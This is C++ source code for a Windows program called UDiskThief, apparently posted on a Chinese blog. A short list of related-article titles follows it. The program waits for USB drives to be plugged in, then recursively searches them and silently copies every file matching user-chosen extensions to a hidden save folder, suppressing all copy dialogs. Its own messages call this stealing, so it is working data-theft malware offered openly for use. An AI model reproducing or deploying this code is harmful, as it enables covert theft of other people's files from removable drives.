/*************************************************************************> File Name: UDiskThief.cpp> Author: 夜晚不懂天的白 > Mail: 656325437@qq.com> Created Time: 2017年10月15日 星期日 11时55分32秒************************************************************************/
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
static char UDisk_Drive[5] = { 0 };//保存临时U盘驱动盘符
static char Path_Save[MAX_PATH] = { 0 };//偷取的文件存储路径/*创建一个存储U盘盘符的结构体*/
struct UDisk_List{char name[4];struct UDisk_List *pnext;
};
struct UDisk_List *phead = NULL;/*创建一个存储拓展名的结构体*/
struct Extension_List{char extension[8];struct Extension_List *pnext;
};
struct Extension_List *ext_phead = NULL;/*创建一个存储U盘盘符的链表*/
void Create_UDisk_List(struct UDisk_List **ptr, const char *UDisk_Drive)
{if (*ptr == NULL){struct UDisk_List *newnode = (struct UDisk_List *)malloc(sizeof (struct UDisk_List));if (newnode == NULL){return;}strcpy(newnode->name, UDisk_Drive);*ptr = newnode;newnode->pnext = NULL;}else{struct UDisk_List *ptr = phead;while (ptr->pnext != NULL){ptr = ptr->pnext;}struct UDisk_List *newnode = (struct UDisk_List *)malloc(sizeof (struct UDisk_List));if (newnode == NULL){return;}strcpy(newnode->name, UDisk_Drive);ptr->pnext = newnode;newnode->pnext = NULL;}return;
}/*创建一个存储拓展名的链表*/
void Create_Ext_List(struct Extension_List **ext_phead, char *str)
{if (*ext_phead == NULL){struct Extension_List *newnode = (struct Extension_List *)malloc(sizeof (struct Extension_List));if (newnode == NULL){return;}strcpy(newnode->extension, str);*ext_phead = newnode;newnode->pnext = NULL;}else{struct Extension_List *ptr = *ext_phead;while (ptr->pnext != NULL){ptr = ptr->pnext;}struct Extension_List *newnode = (struct Extension_List *)malloc(sizeof (struct Extension_List));if (newnode == NULL){return;}strcpy(newnode->extension, str);ptr->pnext = newnode;newnode->pnext = NULL;}return;
}/*复制文件函数*/
BOOL Copy_File(char *pFrom, char *pTo)
{SHFILEOPSTRUCTA FileOp = { 0 };FileOp.hwnd = NULL;FileOp.fFlags = FOF_NOCONFIRMATION |FOF_NOCONFIRMMKDIR | FOF_NO_UI;FileOp.pFrom = pFrom;FileOp.pTo = pTo;FileOp.wFunc = FO_COPY;return SHFileOperationA(&FileOp) == 0;
}/*读取“拓展名.txt”文件函数*/
BOOL Read_Ext_Data()
{if (_access(".\\拓展名.txt", 0)){FILE *file_ptr = fopen(".\\拓展名.txt", "wb");if (file_ptr == NULL){MessageBoxA(NULL,"创建“拓展名.txt”文件失败","提示",MB_OK);return FALSE;}fclose(file_ptr);}char extension[MAX_PATH] = { 0 };FILE *file_ptr = fopen(".\\拓展名.txt", "rb");if (file_ptr == NULL){return FALSE;}while (!feof(file_ptr)){fread(extension, 1, MAX_PATH, file_ptr);}fclose(file_ptr);if (!strcmp(extension,"")){MessageBoxA(NULL, "“拓展名.txt”文件内容为空,请填写要窃取的拓展名\n格式例如.doc|.xls|.txt|.rar|", "提示", MB_OK);return FALSE;}unsigned short  flags = 0;char *ptr = extension, *temp = ptr;while (*ptr != '\0'){if (*ptr == '|'){char buf[8] = { 0 };strncpy(buf, temp, flags);Create_Ext_List(&ext_phead, buf);temp = ptr + 1, flags = -1;}ptr++, flags++;}return TRUE;
}/*搜索以Extension_List链表里面存储的拓展名文件*/
BOOL DirectorySearch(const char *dirpath, char *Save_Path, struct Extension_List *ext_phead)
{WIN32_FIND_DATAA lpfinddata;char dir_sear_path[1024] = { 0 };char dir_file_name[1024] = { 0 };strcpy(dir_sear_path, dirpath);strcpy(dir_file_name, dirpath);const char *psearch = strrchr(dirpath, '\\');if (psearch != NULL && strlen(psearch) == 1){strcat(dir_file_name, "*");}else{strcat(dir_file_name, "\\*");strcat(dir_sear_path, "\\");}HANDLE filehandle = FindFirstFileA(dir_file_name, &lpfinddata);if (filehandle == INVALID_HANDLE_VALUE){DWORD Err = GetLastError();if (Err == 2){MessageBoxA(NULL, "存储目录格式错误;例如d:\file", "提示", MB_OK);return FALSE;}CHAR ErrBuf[40] = { 0 };sprintf(ErrBuf, "INVALID_HANDLE_VALUE%d", Err);MessageBoxA(NULL, ErrBuf, "提示", MB_OK);return FALSE;}while (FindNextFileA(filehandle, &lpfinddata)){if (!strcmp(lpfinddata.cFileName, ".") || !strcmp(lpfinddata.cFileName, "..")){continue;}char dirfiletemp[1024] = { 0 };strcpy(dirfiletemp, dir_sear_path);strcat(dirfiletemp, lpfinddata.cFileName);char *ptr = lpfinddata.cFileName;while (*ptr != '\0'){if (*ptr == '.'){struct Extension_List *temp = ext_phead;while (temp != NULL){if (!strcmp(ptr, temp->extension)){Copy_File(dirfiletemp, Save_Path);}temp = temp->pnext;}}ptr++;}if (lpfinddata.dwFileAttributes == 16){strcat(dirfiletemp, "\\");DirectorySearch(dirfiletemp, Save_Path, ext_phead);}}FindClose(filehandle);return TRUE;
}//判断U盘是否插在电脑上
BOOL Is_UDisk_Exist()
{BOOL exist = FALSE;for (char ch = 'C'; ch <= 'Z'; ch++){sprintf_s(UDisk_Drive, sizeof UDisk_Drive, "%c:\\", ch);if (GetDriveTypeA(UDisk_Drive) == DRIVE_REMOVABLE){Create_UDisk_List(&phead, UDisk_Drive);exist = TRUE;}}return exist;
}/*执行操作搜索Extension_List链表里面的拓展名*/
BOOL  Execute(struct  Extension_List *ext_phead)
{BOOL exist = TRUE;while (phead != NULL){if (!DirectorySearch(phead->name, Path_Save, ext_phead)){exist = FALSE;break;}phead = phead->pnext;}return exist;
}/*判断目录是否存在函数*/
BOOL PathIsDirectory(const char *Directory)
{WIN32_FIND_DATAA lpFindData;HANDLE FindHandle = FindFirstFileA(Directory, &lpFindData);if (lpFindData.dwFileAttributes == 16){return TRUE;}return FALSE;
}/*释放UDisk_List链表*/
void Free_UDisk_List(struct UDisk_List **phead)
{if (*phead == NULL){return;}struct UDisk_List *p1, *p2;p1 = p2 = NULL;p1 = *phead;while (p1->pnext != NULL){p2 = p1->pnext;p1->pnext = p2->pnext;free(p2);if(p2 != NULL)p2 = NULL}free(*phead);if(*phead != NULL)*phead = NULL;return;
}/*释放Extension_List链表*/
void Free_Extension_List(struct Extension_List **ext_phead)
{if (*ext_phead == NULL){return;}struct Extension_List *p1, *p2;p1 = p2 = NULL;p1 = *ext_phead;while (p1->pnext != NULL){p2 = p1->pnext;p1->pnext = p2->pnext;free(p2);if(p2 != NULL)p2 = NULL;}free(*ext_phead);if(*ext_phead != NULL)*ext_phead = NULL;return;
}/*读取“保存路径.txt”文件里面的目录*/
BOOL Read_Path_Data()
{if (_access(".\\保存路径.txt", 0)){FILE *file_ptr = fopen(".\\保存路径.txt", "wb");if (file_ptr == NULL){MessageBoxA(NULL, "创建保存路径.txt文件失败", "提示", MB_OK);return FALSE;}fclose(file_ptr);}FILE *file_ptr = fopen(".\\保存路径.txt", "rb");if (file_ptr == NULL){MessageBoxA(NULL, "打开保存路径.txt文件失败", "提示", MB_OK);return FALSE;}while (!feof(file_ptr))fread(Path_Save, 1, MAX_PATH, file_ptr);fclose(file_ptr);if (!strcmp(Path_Save, "")){MessageBoxA(NULL, "“保存路径.txt”文件内容为空,请填写保存目录\n格式例如d:\\copy", "提示", MB_OK);return FALSE;}return TRUE;
}BOOL DoSomething()
{/*判断“保存路径.txt,拓展名.txt”是否为空目录*/if (!Read_Path_Data() || !Read_Ext_Data())return FALSE;/*判断U盘是否存在,如果不存在休眠5秒,一直死循环下去等待u盘插入电脑*/if (!Is_UDisk_Exist()){Sleep(5000);return TRUE;}else{/*判断窃取的文件存放的文件夹是否存在*/if (!PathIsDirectory(Path_Save))/*如果不存在则创建一个Path_Save的文件夹*/CreateDirectoryA(Path_Save, NULL);/*如果执行偷取失败,则出现错误提示*/if (!Execute(ext_phead)){MessageBoxA(NULL, "窃取文件失败", "提示", MB_OK);}Free_UDisk_List(&phead);Free_Extension_List(&ext_phead);return FALSE;}
}int WINAPI WinMain(_In_ HINSTANCE hInstance,_In_opt_ HINSTANCE hPrevInstance,_In_ LPSTR lpCmdLine,_In_ int nShowCmd)
{while (DoSomething());return 0;
}

Windows窃取U盘数据相关推荐

  1. Windows格式化系统盘为数据盘 删除EFI分区和恢复分区

    背景 最近把一块固态装成系统C盘,后来又把它接在别的电脑上当数据盘,发现在磁盘管理中只能删掉C盘数据区,没法删掉EFI分区和恢复分区,于是问了问ChatGPT怎么搞 TL;DR 管理员powershe ...

  2. Windows 8.1 重复数据删除——规划部署(二)

    一.规划部署目标    Windows 8.1&Server 2012 的重复数据删除设计为安装到主要数据卷上,而无需添加任何附加的专用硬件.这意味着你可以安装和使用该功能,而不会影响服务器上 ...

  3. windows下mysql的数据备份

    windows下mysql的数据备份 网上有很多mysql的备份方法,但是自己成功了的只有三种. 1.简单直白粗暴: 直接从数据库导出sql文件,通常是我们的第三方工具自带的功能,可以整个数据库导出, ...

  4. 计算机普通用户禁止修改c盘,保护C盘数据win7中设置禁止修改C盘文件的方法

    我们在win7电脑的使用中一般电脑中的C盘都是安装的就是我们所说的系统盘,那对于C盘的话是最好不要保存其他的文件和安装软件的,那有小伙伴害怕电脑中的还在那更要文件被别人修改的情况,想要直接设置禁止修改 ...

  5. 指令下载Google网盘数据遇到的无法连接问题

    记录:指令下载Google网盘数据遇到的无法连接问题 这两天下载BTS中的所使用的训练数据,原文中采用的是URL+id下载的形式 URL = "https://docs.google.com ...

  6. 干货分享 | Windows系统下载SRA数据方法——生信小白亲测可行

    在开展二代测序相关课题研究时,经常需要上传或者下载SRA数据库中的数据,对熟悉Linux系统.懂代码的同学们来说是非常容易的事情.但像小编这一类看到代码两眼一抹黑的小白就有点难度了,尤其电脑还是Win ...

  7. windows之C盘清理 - - 小黑日常超细解决教程

    这一段时间在忙着写关于渗透方面的知识点,所以更新进度比较慢,这次给大家分享一下关于如何清理高效清理windows的C盘垃圾文件,和解决C盘爆满问题,也是之前总结的一系列经验吧!! C盘扩容:(97条消 ...

  8. U盘变成RAW格式怎么修复?U盘数据如何恢复?

    U盘类型是RAW是什么意思?U盘文件系统类型变成RAW怎么办?U盘打不开变成RAW不要慌,按照本文的方法可以轻松恢复U盘数据并且修复RAW错误. U盘文件系统类型是RAW怎么办? U盘类型是RAW是什 ...

  9. Windows 7 U盘安装系统教程

    Windows 7 U盘安装系统教程 [名称]:Windows7 [大小]:3.3G [语言]:简体中文 [安装环境]:PE系统 温馨提示 1.此系统为官网原版系统(四合一)即包含家庭普通版.家庭高级 ...

最新文章

  1. SQL Server 运行计划操作符具体解释(2)——串联(Concatenation )
  2. 使用PHP Excel类读取和生成excel文件
  3. Opencv——DFT变换(实现两个Mat的卷积以及显示Mat的频域图像)
  4. 5 加盐_洗猪肚,加盐洗就错了!加这2样,5分钟洗净,猪肚不腥不臊更入味
  5. Berkeley DB Java Edition
  6. android webview 慢,Android Webview的性能问题
  7. 【UCSC Genome Browser】- ClinGen剂量敏感性分析
  8. 怎么看《就算老公一毛钱股份都没拿到,在我心里,他依然是最牛逼的创业者》文中创业公司 CEO 的行为?
  9. FLUENT19.0基础入门与进阶仿真分析视频教程
  10. HDU 5037 贪心
  11. b站《史上最全unity3D教程》2-6等ppt笔记3
  12. ajax执行先后顺序
  13. 基于android的汽车租赁出租车打车洗车app
  14. 品优购商城——列表页
  15. java unparseable_java.text.ParseException: Unparseable date: 2015-06-09 hh:56:19
  16. jzoj5983. 【北大2019冬令营模拟2019.1.1】多边形 (组合数学)
  17. 计算机竞聘演讲稿,竞聘农业银行计算机主任演讲稿
  18. 2020人工智能Ai芯片前言解读
  19. java+mysql 基于ssm的渔业标准内容服务系统
  20. Wifi共享精灵台式机能用吗?

热门文章

  1. (毕业设计资料)基于51单片机的公交自动报站系统
  2. 服务器开机一直显示请等候本地会话管理器,win7开机提示等候本地会话管理器...
  3. EDA——计算机软件系统
  4. CTF .git php代码审计 [Buy a lottery!]
  5. Anyproxy的安装和使用
  6. anyproxy批量自动采集微信公众号文章
  7. 循环 — 你必须要会的十五道编程题
  8. 09、汇编语言程序的调试
  9. stm32L151A超低功耗单片机实现电子秤代码
  10. ICLR2022 GNN论文阅读 (二) 泛读 (1-2)